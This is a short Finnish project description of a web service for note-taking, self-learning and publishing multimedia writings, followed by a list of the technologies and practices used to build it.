Tarkoituksena ollut kehittää verkkopalvelu, joka palvelisi sen käyttäjiä mm. seuraavissa tarpeissa: havaintojen ylöskirjaaminen, itseoppiminen, tiedon järjestely ja julkaiseminen, tiedon tuottaminen, ajatusten jäsentely ja asioiden muistaminen. Lopputuotteena ovat haluttaessa julkiseksi(kin) asetettavat kirjoitukset, jotka voivat koostua erilaisista kerätyistä tai generoiduista aineksista kuten videoleikkeistä, kaavioista, kuvista, piirroksista yms. havainnollistavasta materiaalista. Työn alla olevaa teosta voi tarkastella useista eri "perspektiiveistä". Teoksiin sisällytettäväksi voi tuoda aineistoa ulkoisista tietolähteistä tai omilta päätelaitteilta.
Java EE 6, JAXB, JPA, EclipseLink, Eclipse, Oxygen XML, Visual Paradigm for UML, Dojo, jQuery, HTML5, CSS 2.1, MySQL, OrientDB, XML, JavaScript, NoSQL, JNDI, Tomcat 7, CloudBees, Amazon AWS, Jasmine, DOH Robot, UML, Microsoft Project, JIRA, Mylyn, Git, PureTest, CodePro Analytix, PMD, JUnit, Photoshop, Fireworks, SHA1, PayPal API, Chrome extension, Firefox Add-on, Mockingbird, Adobe AIR, MySQL Workbench, Jenkins, continuous integration, REST, async servlets + filters, refactoring, design patterns, naming conventions